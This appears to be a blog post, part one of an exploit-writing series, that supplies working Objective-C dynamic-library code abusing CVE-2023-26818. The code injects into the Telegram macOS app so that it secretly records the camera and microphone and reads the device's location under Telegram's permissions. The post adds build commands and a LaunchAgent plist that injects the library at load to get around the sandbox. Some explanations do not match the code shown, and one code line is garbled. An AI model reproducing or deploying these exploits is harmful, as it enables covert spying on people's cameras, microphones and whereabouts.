Exploit Writing Part 1: CVE-2023-26818 MacOS TCC Bypass W/ telegram

13 minute read

Introduction

After the 2 parts of analysis for the CVE-2023-26818. Now, It’s the time to write a full exploit for this vulnerability, We

gonna write a GUI based software that create different exploits and each one has a different approach. So this part is part

1, We gonna write and explain each exploit code that approching a different Entitlmenet. If you didn’t read the analysis

you better back and read it first.

Overview

Now, Let’s take a look on the Entitlements of Telegram app, So we create an exploit for each one of them:

codesign -dv --entitlements - /Applications/Telegram.app

We can see that we have 3 of the Entitlements as the following:

  • com.apple.security.device.camera: This entitlement grants the app access to the camera.

  • com.apple.security.device.audio-input: With this entitlement, the app can access the microphone or any other audio input device.

  • com.apple.security.personal-information.location: This entitlement allows the app to access location services, meaning it can determine the geographic location of the device.

The Exploit

Now, For each one of the Entitlements we gonna make it an exploit ( Except the cam it’s already exist ).

Camera Exploit

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [videoRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Let’s explain the code by part by part:

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

The Foundation framework provides basic classes and data types, while AVFoundation provides classes for working with audio

and video.

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

This interface declares a class called VideoRecorder that conforms to the AVCaptureFileOutputRecordingDelegate protocol. It

defines properties for the AVCaptureSession (used to coordinate video capture), AVCaptureDeviceInput (used to represent the

device’s camera as an input source), and AVCaptureMovieFileOutput (used to write the captured video to a file).

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

Here the initializer for the VideoRecorder class. When an instance of VideoRecorder is created, it automatically calls the

setupCaptureSession method to set up the video capture session.

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

In this method we set up the AVCaptureSession and configures it to use the device’s default video capture device (camera).

It checks for errors during device input configuration and adds the video device input and movie file output to the capture

session if possible.

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

The startRecording method starts the AVCaptureSession and begins recording video to a file with the specified output file

URL. The stopRecording method stops the recording and the AVCaptureSession.

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}

This delegate method is called when the recording is finished. It checks for any error and logs the result accordingly.

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Finally, This function is marked with the __attribute__((constructor)) attribute which makes it a constructor function. It

is automatically called before the main function of the program starts running and inside it a new instance of the

VideoRecorder class is created and then video recording is started and stopped with a 3 seconds delay between the start and

stop calls.

Microphone Exploit

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }

    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Let’s explain the code by part by part:

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

The Foundation framework provides basic classes and data types, while AVFoundation provides classes for working with audio

and video.

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

This interface declares a class called AudioRecorder that conforms to the AVCaptureFileOutputRecordingDelegate protocol. It

defines properties for the AVCaptureSession (used to coordinate audio capture), AVCaptureDeviceInput (used to represent the

device’s microphone as an input source), and AVCaptureMovieFileOutput (used to write the captured audio to a file).

Additionally, it declares methods to start and stop recording, ensuring that the audio can be recorded and saved as needed.

@interface AudioRecorder : @implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

This interface declares a class named AudioRecorder (to inherit from NSObject). The class has a custom initializer method

init which sets up the instance by calling the setupCaptureSession method which is responsible for configuring the audio

recording components. In short, The initializer ensures any superclass initialization is completed first before performing

the audio-specific setup.

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }

    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}

The setupCaptureSession method is responsible for initializing and configuring an AVCaptureSession for audio recording. It

first creates an audio recording session with a high-quality preset. Then, fetches the default audio device (like a

microphone) and tries to create an input source from it, If there is an error in setting up the input, it logs the error.

Otherwise, checks if the capture session can accept this audio input and if so, adds it to the session. Finally, it

initializes a file output destination for the audio recording and, if the session can handle this output, adds it to the

session.

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

The method - (void)startRecording is responsible for initiating the audio recording process and starts the capture session,

defines the path for the temporary audio file named recording.m4a and converts this path into a URL and then starts

recording audio to this file location. Finally, it logs that the recording process has started.

- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

The stopRecording method is a part of the AudioRecorder class which performs the action of stopping the audio recording. by

first signaling the audioFileOutput object to stop recording the audio data. Then instructs the captureSession to cease all

capturing activities. Lastly, it logs the message Recording stopped to indicate the recording process has been terminated.

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}

@end

The method captureOutput:didFinishRecordingToOutputFileAtURL:fromConnections:error: is part of the

AVCaptureFileOutputRecordingDelegate protocol and It’s called once a recording session concludes & method checks for any

errors that might have occurred during recording. If an error is detected a message is logged detailing the failure and If

the recording was successful, a message logs its successful completion and specifies where the recording was saved. Finally,

the file path of the saved recording is also logged.

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Finally, here define a function named telegram that is designated to run automatically when the library containing it is

loaded as the __attribute__((constructor)) exist. Inside this function, an instance of the AudioRecorder class is created

and immediately starts recording. The recording lasts for 5 seconds after which it stops. To ensure that the recording

completes and the thread doesn’t terminate prematurely, the current run loop is kept running for an additional second.

Location Exploit

#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationFetcher : NSObject <CLLocationManagerDelegate>

@property (strong, nonatomic) CLLocationManager *locationManager;

- (void)startFetchingLocation;
- (void)stopFetchingLocation;

@end

@implementation LocationFetcher

- (instancetype)init {
    self = [super init];
    if (self) {
        _locationManager = [[CLLocationManager alloc] init];
        _locationManager.delegate = self;
        [_locationManager requestAlwaysAuthorization];
    }
    return self;
}

- (void)startFetchingLocation {
    [self.locationManager startUpdatingLocation];
    NSLog(@"Location fetching started");
}

- (void)stopFetchingLocation {
    [self.locationManager stopUpdatingLocation];
    NSLog(@"Location fetching stopped");
}

#pragma mark - CLLocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager
     didUpdateLocations:(NSArray<CLLocation *> *)locations {
    CLLocation *latestLocation = [locations lastObject];
    NSLog(@"Received Location: Latitude: %f, Longitude: %f", latestLocation.coordinate.latitude, latestLocation.coordinate.longitude);
}

- (void)locationManager:(CLLocationManager *)manager
       didFailWithError:(NSError *)error {
    NSLog(@"Location fetching failed: %@", [error localizedDescription]);
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    LocationFetcher *locationFetcher = [[LocationFetcher alloc] init];

    [locationFetcher startFetchingLocation];
    [NSThread sleepForTimeInterval:5.0];
    [locationFetcher stopFetchingLocation];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Let’s Explain the code.

#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationFetcher : NSObject <CLLocationManagerDelegate>

@property (strong, nonatomic) CLLocationManager *locationManager;

- (void)startFetchingLocation;
- (void)stopFetchingLocation;

@end

This interface declares a class named LocationFetcher that conforms to the CLLocationManagerDelegate protocol which defines

a property for the CLLocationManager (used to manage the delivery of location-related events to your app).

There are two instance methods declared:

  •  

  • (void)startFetchingLocation: Which is a method that starts the process of fetching the device’s location.

  • (void)stopFetchingLocation: Which is a method that stops the process of fetching the device’s location.

This class is designed to manage location updates and to handle the starting and stopping of location fetch operations using

the Core Location framework.

@implementation LocationFetcher

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupLocationManager];
    }
    return self;
}

Here it provides the implementation for the LocationFetcher class which Starting with the init method which initializes an

instance of the LocationFetcher class. Within this method the setupLocationManager method is called to configure the

CLLocationManager.

- (void)setupLocationManager {
    self.locationManager = [[CLLocationManager alloc] init];
    self.locationManager.delegate = self;
}

Here initializes a CLLocationManager object and assigns it to the locationManager property.

Sets the delegate of the locationManager to the current instance of LocationFetcher which ensures that the class can receive

location-related events.

- (void)startFetchingLocation {
    [self.locationManager startUpdatingLocation];
    NSLog(@"Fetching location started");
}

Here Calls the startUpdatingLocation method on the locationManager to begin delivering location updates.

- (void)stopFetchingLocation {
    [self.locationManager stopUpdatingLocation];
    NSLog(@"Fetching location stopped");
}

Here Calls the stopUpdatingLocation method on the locationManager to stop delivering location updates.

#pragma mark - CLLocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
    CLLocation *currentLocation = locations.lastObject;
    NSLog(@"Received location: %f, %f", currentLocation.coordinate.latitude, currentLocation.coordinate.longitude);
}
@end

This Implements the CLLocationManagerDelegate protocol method didUpdateLocations: which method gets called when new

location data is available.Then logs the most recent location (latitude and longitude) to the console.

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    LocationFetcher *locationFetcher = [[LocationFetcher alloc] init];

    [locationFetcher startFetchingLocation];
    [NSThread sleepForTimeInterval:5.0];
    [locationFetcher stopFetchingLocation];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

This block effectively demonstrates the basic usage of the LocationFetcher class by fetching the location for 5 seconds upon

the application’s start.

Exploit Testing

Camera Exploit

Compiling and testing time:

gcc -dynamiclib -framework Foundation -framework AVFoundation Camexploit.m -o Cam.dylib

Microphone Exploit

Compiling and testing time:

gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

Location Exploit

Compiling and testing time:

gcc -dynamiclib -framework Foundation -framework CoreLocation -framework AVFoundation Locexploit.m -o Locexploit.dylib

Sandbox

To exploit the vulnerability in general with any Entitlemment while the sandbox is activited for the app, We will Just use the launch agent:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.telegram.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>EnvironmentVariables</key>
        <dict>
          <key>DYLD_INSERT_LIBRARIES</key>
          <string>DYLIB_PATH</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
  <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
        </array>
        <key>StandardOutPath</key>
        <string>/tmp/telegram.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/telegram.log</string>
</dict>
</plist>

Conclusion

You can find the exploits code on github from here. And it will be updated as we gonna add more features and write a swift

GUI app for MacOS to generate exploit with customizable options that can be used in different ways and go further with

exploitation.

Tags:

Categories:

Updated: